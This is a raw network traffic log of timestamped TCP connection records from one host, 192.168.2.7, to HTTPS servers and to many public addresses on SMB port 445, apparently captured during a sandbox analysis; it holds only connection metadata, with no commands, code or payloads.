Jul 20, 2022 19:32:50.524298906 CEST	55110	445	192.168.2.7	30.197.23.148
Jul 20, 2022 19:32:50.525764942 CEST	55111	445	192.168.2.7	141.141.113.77
Jul 20, 2022 19:32:50.525887966 CEST	55112	445	192.168.2.7	4.49.188.249
Jul 20, 2022 19:32:50.526106119 CEST	55114	445	192.168.2.7	122.242.7.47
Jul 20, 2022 19:32:50.565496922 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.565524101 CEST	443	55068	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.569314957 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.569341898 CEST	443	55068	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.650473118 CEST	443	55068	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.650600910 CEST	443	55068	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.650645971 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.650693893 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.659734964 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.659782887 CEST	443	55068	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.659800053 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.659846067 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.663907051 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.663955927 CEST	443	55116	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.664071083 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.693387032 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.693420887 CEST	443	55116	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.704772949 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.704993963 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.706679106 CEST	445	55105	223.205.31.55	192.168.2.7
Jul 20, 2022 19:32:50.708096027 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.708105087 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.708725929 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.713572025 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.760484934 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.836081982 CEST	443	55116	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.836194038 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.836874008 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.836886883 CEST	443	55116	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.841042042 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.841053963 CEST	443	55116	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.857794046 CEST	55118	445	192.168.2.7	131.153.221.53
Jul 20, 2022 19:32:50.859004021 CEST	55119	445	192.168.2.7	51.158.189.62
Jul 20, 2022 19:32:50.892034054 CEST	55120	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:50.899466991 CEST	443	55116	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.899559975 CEST	443	55116	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.899657011 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.899672031 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.905426979 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.905453920 CEST	443	55116	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.905462980 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.905502081 CEST	55116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.907875061 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.907912970 CEST	443	55122	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.908004045 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.908855915 CEST	445	55120	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:50.908952951 CEST	55120	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:50.909110069 CEST	55120	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:50.909463882 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.909485102 CEST	443	55122	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.918473005 CEST	55048	445	192.168.2.7	42.2.21.182
Jul 20, 2022 19:32:50.925673008 CEST	445	55120	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:50.925735950 CEST	445	55120	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:50.925798893 CEST	445	55120	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:50.925884962 CEST	55120	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:50.925971985 CEST	55120	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:50.926295042 CEST	55120	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:50.942517042 CEST	445	55120	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:50.942751884 CEST	445	55120	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:50.975871086 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.975922108 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.975970984 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.976058006 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.976099014 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.976121902 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.976190090 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.977709055 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.977756977 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.977833033 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.977864027 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.977881908 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.977919102 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.977988958 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.978065968 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.978084087 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.978117943 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.978202105 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.978216887 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.978812933 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.978842974 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.978857994 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.978869915 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.000286102 CEST	55123	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.016851902 CEST	445	55123	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:51.017009020 CEST	55123	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.017149925 CEST	55123	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.019747972 CEST	55124	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.033838034 CEST	445	55123	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:51.033915997 CEST	55123	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.036597013 CEST	445	55124	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:51.036731005 CEST	55124	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.036897898 CEST	55124	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.051029921 CEST	443	55122	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.051141977 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.053586006 CEST	445	55124	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:51.053680897 CEST	445	55124	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:51.053716898 CEST	445	55124	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:51.053792000 CEST	55124	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.053901911 CEST	55124	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.054158926 CEST	55124	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:51.060158968 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.060179949 CEST	443	55122	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.070543051 CEST	445	55124	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:51.070677042 CEST	445	55124	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:51.078351974 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.078412056 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.078528881 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.078881979 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.078902006 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.079147100 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.079165936 CEST	443	55122	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.120488882 CEST	445	55048	42.2.21.182	192.168.2.7
Jul 20, 2022 19:32:51.169373035 CEST	443	55122	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.169437885 CEST	443	55122	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.169464111 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.169490099 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.169554949 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.169579983 CEST	443	55122	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.169590950 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.169629097 CEST	55122	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.171838045 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.171881914 CEST	443	55126	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.172000885 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.172379971 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.172399998 CEST	443	55126	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.215481997 CEST	55105	445	192.168.2.7	223.205.31.55
Jul 20, 2022 19:32:51.316066027 CEST	443	55126	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.316165924 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.319152117 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.319174051 CEST	443	55126	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.321752071 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.321774960 CEST	443	55126	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.331722975 CEST	55132	445	192.168.2.7	45.232.59.179
Jul 20, 2022 19:32:51.331726074 CEST	55133	445	192.168.2.7	223.100.114.80
Jul 20, 2022 19:32:51.331820965 CEST	55136	445	192.168.2.7	17.142.140.253
Jul 20, 2022 19:32:51.332880974 CEST	55143	445	192.168.2.7	213.83.125.47
Jul 20, 2022 19:32:51.342994928 CEST	55144	445	192.168.2.7	217.199.132.145
Jul 20, 2022 19:32:51.343240023 CEST	55145	445	192.168.2.7	8.169.113.245
Jul 20, 2022 19:32:51.343381882 CEST	55148	445	192.168.2.7	134.27.241.192
Jul 20, 2022 19:32:51.343544006 CEST	55149	445	192.168.2.7	193.242.221.92
Jul 20, 2022 19:32:51.379226923 CEST	445	55144	217.199.132.145	192.168.2.7
Jul 20, 2022 19:32:51.389811039 CEST	443	55126	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.389900923 CEST	443	55126	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.390008926 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.390064001 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.396820068 CEST	445	55105	223.205.31.55	192.168.2.7
Jul 20, 2022 19:32:51.400680065 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.400724888 CEST	443	55126	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.400739908 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.400794029 CEST	55126	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.405519009 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.405564070 CEST	443	55151	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.405704975 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.406922102 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.406939983 CEST	443	55151	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.451649904 CEST	55152	445	192.168.2.7	121.3.139.10
Jul 20, 2022 19:32:51.486428976 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.486538887 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.489289999 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.489298105 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.489567041 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.490891933 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.532491922 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.548994064 CEST	443	55151	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.549161911 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.557933092 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.557955027 CEST	443	55151	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.572065115 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.572084904 CEST	443	55151	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.591590881 CEST	55156	445	192.168.2.7	209.81.208.23
Jul 20, 2022 19:32:51.592048883 CEST	55157	445	192.168.2.7	138.146.65.83
Jul 20, 2022 19:32:51.595912933 CEST	55160	445	192.168.2.7	61.182.188.152
Jul 20, 2022 19:32:51.595958948 CEST	55161	445	192.168.2.7	151.151.230.253
Jul 20, 2022 19:32:51.596170902 CEST	55162	445	192.168.2.7	104.172.46.116
Jul 20, 2022 19:32:51.596288919 CEST	55166	445	192.168.2.7	109.134.19.174
Jul 20, 2022 19:32:51.639559984 CEST	55171	445	192.168.2.7	166.185.78.230
Jul 20, 2022 19:32:51.641072035 CEST	55173	445	192.168.2.7	163.25.47.52
Jul 20, 2022 19:32:51.641640902 CEST	443	55151	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.641725063 CEST	443	55151	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.641738892 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.641772032 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.641992092 CEST	55174	445	192.168.2.7	139.84.227.142
Jul 20, 2022 19:32:51.642838001 CEST	55175	445	192.168.2.7	126.135.189.135
Jul 20, 2022 19:32:51.644260883 CEST	55177	445	192.168.2.7	81.119.60.228
Jul 20, 2022 19:32:51.646302938 CEST	55180	445	192.168.2.7	163.124.47.230
Jul 20, 2022 19:32:51.647310972 CEST	55181	445	192.168.2.7	16.36.222.95
Jul 20, 2022 19:32:51.648751974 CEST	55183	445	192.168.2.7	37.69.186.223
Jul 20, 2022 19:32:51.649472952 CEST	55184	445	192.168.2.7	134.15.252.90
Jul 20, 2022 19:32:51.650217056 CEST	55185	445	192.168.2.7	105.109.190.109
Jul 20, 2022 19:32:51.668649912 CEST	55188	445	192.168.2.7	139.79.170.202
Jul 20, 2022 19:32:51.670084953 CEST	55194	445	192.168.2.7	198.48.0.251
Jul 20, 2022 19:32:51.670372963 CEST	55198	445	192.168.2.7	113.59.46.220
Jul 20, 2022 19:32:51.699306965 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.699340105 CEST	443	55151	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:51.699352026 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.699388981 CEST	55151	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:51.755912066 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.755944014 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.755965948 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.756077051 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.756098032 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.756114006 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.756150961 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.756216049 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.764579058 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.764611959 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.764626026 CEST	55125	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:51.764633894 CEST	443	55125	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:51.936052084 CEST	55201	445	192.168.2.7	131.153.221.54
Jul 20, 2022 19:32:51.936343908 CEST	55202	445	192.168.2.7	51.158.189.63
Jul 20, 2022 19:32:51.981087923 CEST	55144	445	192.168.2.7	217.199.132.145
Jul 20, 2022 19:32:52.016396046 CEST	445	55144	217.199.132.145	192.168.2.7
Jul 20, 2022 19:32:52.469043016 CEST	55205	445	192.168.2.7	140.198.13.196
Jul 20, 2022 19:32:52.474232912 CEST	55212	445	192.168.2.7	204.243.209.151
Jul 20, 2022 19:32:52.474322081 CEST	55213	445	192.168.2.7	70.46.110.249
Jul 20, 2022 19:32:52.474406004 CEST	55216	445	192.168.2.7	218.224.135.67
Jul 20, 2022 19:32:52.476699114 CEST	55221	445	192.168.2.7	214.176.187.114
Jul 20, 2022 19:32:52.476790905 CEST	55222	445	192.168.2.7	163.230.156.224
Jul 20, 2022 19:32:52.476958990 CEST	55225	445	192.168.2.7	170.21.65.179
Jul 20, 2022 19:32:52.477098942 CEST	55227	445	192.168.2.7	136.26.112.75
Jul 20, 2022 19:32:52.514544010 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:52.514595032 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:52.514682055 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:52.515165091 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:52.515191078 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:52.529098988 CEST	55229	445	192.168.2.7	121.3.139.11
Jul 20, 2022 19:32:52.716578007 CEST	55232	445	192.168.2.7	91.127.44.227
Jul 20, 2022 19:32:52.719595909 CEST	55236	445	192.168.2.7	69.222.252.50
Jul 20, 2022 19:32:52.720299006 CEST	55237	445	192.168.2.7	138.20.195.70
Jul 20, 2022 19:32:52.721021891 CEST	55238	445	192.168.2.7	148.120.64.253
Jul 20, 2022 19:32:52.723015070 CEST	55241	445	192.168.2.7	118.21.72.42
Jul 20, 2022 19:32:52.723702908 CEST	55242	445	192.168.2.7	14.212.173.7
Jul 20, 2022 19:32:52.749272108 CEST	55248	445	192.168.2.7	134.191.82.247
Jul 20, 2022 19:32:52.750701904 CEST	55250	445	192.168.2.7	29.201.111.38
Jul 20, 2022 19:32:52.751526117 CEST	55251	445	192.168.2.7	28.24.90.183
Jul 20, 2022 19:32:52.752600908 CEST	55252	445	192.168.2.7	115.239.226.4
Jul 20, 2022 19:32:52.754028082 CEST	55254	445	192.168.2.7	4.118.213.129
Jul 20, 2022 19:32:52.756158113 CEST	55257	445	192.168.2.7	38.175.246.148
Jul 20, 2022 19:32:52.756896019 CEST	55258	445	192.168.2.7	46.178.141.203
Jul 20, 2022 19:32:52.758238077 CEST	55260	445	192.168.2.7	174.46.128.142
Jul 20, 2022 19:32:52.758923054 CEST	55261	445	192.168.2.7	98.205.207.6
Jul 20, 2022 19:32:52.759649038 CEST	55262	445	192.168.2.7	112.103.207.63
Jul 20, 2022 19:32:52.796128035 CEST	55264	445	192.168.2.7	87.101.107.76
Jul 20, 2022 19:32:52.801656008 CEST	55268	445	192.168.2.7	193.126.38.131
Jul 20, 2022 19:32:52.802254915 CEST	55274	445	192.168.2.7	189.24.51.60
Jul 20, 2022 19:32:52.834409952 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:52.834589958 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:52.837248087 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:52.837275028 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:52.837515116 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:52.838885069 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:52.880501032 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.014573097 CEST	55277	445	192.168.2.7	51.158.189.64
Jul 20, 2022 19:32:53.015333891 CEST	55278	445	192.168.2.7	131.153.221.55
Jul 20, 2022 19:32:53.038484097 CEST	445	55277	51.158.189.64	192.168.2.7
Jul 20, 2022 19:32:53.046385050 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.046416044 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.046436071 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.046505928 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.046536922 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.046562910 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.046571016 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.046577930 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.046613932 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.046647072 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.046674967 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.046684980 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.046739101 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.051986933 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.052026987 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.052052975 CEST	55228	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.052066088 CEST	443	55228	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.168495893 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.168545008 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.168692112 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.169868946 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.169903040 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.468455076 CEST	55283	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:53.493880033 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.494107008 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.497961044 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.497980118 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.498271942 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.500015020 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.527283907 CEST	445	55283	213.142.151.86	192.168.2.7
Jul 20, 2022 19:32:53.527388096 CEST	55283	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:53.527627945 CEST	55283	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:53.540498018 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.575126886 CEST	55277	445	192.168.2.7	51.158.189.64
Jul 20, 2022 19:32:53.585344076 CEST	445	55283	213.142.151.86	192.168.2.7
Jul 20, 2022 19:32:53.599153996 CEST	445	55277	51.158.189.64	192.168.2.7
Jul 20, 2022 19:32:53.605041027 CEST	55284	445	192.168.2.7	150.156.33.50
Jul 20, 2022 19:32:53.608812094 CEST	55290	445	192.168.2.7	129.180.228.47
Jul 20, 2022 19:32:53.608908892 CEST	55291	445	192.168.2.7	50.66.238.157
Jul 20, 2022 19:32:53.609105110 CEST	55294	445	192.168.2.7	94.33.244.232
Jul 20, 2022 19:32:53.609513044 CEST	55299	445	192.168.2.7	125.76.38.220
Jul 20, 2022 19:32:53.609683037 CEST	55302	445	192.168.2.7	25.46.129.130
Jul 20, 2022 19:32:53.609785080 CEST	55303	445	192.168.2.7	20.198.36.235
Jul 20, 2022 19:32:53.609914064 CEST	55305	445	192.168.2.7	6.157.74.59
Jul 20, 2022 19:32:53.613432884 CEST	55307	445	192.168.2.7	121.3.139.12
Jul 20, 2022 19:32:53.657514095 CEST	55308	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:53.711643934 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.711740971 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.711821079 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.711858034 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.711888075 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.711906910 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.711947918 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.711990118 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.712064981 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.712069988 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.712120056 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.712127924 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.712163925 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.712220907 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.712285995 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.712297916 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.712349892 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.712390900 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.712444067 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.714914083 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.714934111 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.714948893 CEST	55280	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:53.714955091 CEST	443	55280	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:53.717257023 CEST	445	55308	213.142.151.87	192.168.2.7
Jul 20, 2022 19:32:53.717367887 CEST	55308	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:53.717504978 CEST	55308	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:53.742269993 CEST	55309	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:53.775129080 CEST	445	55308	213.142.151.87	192.168.2.7
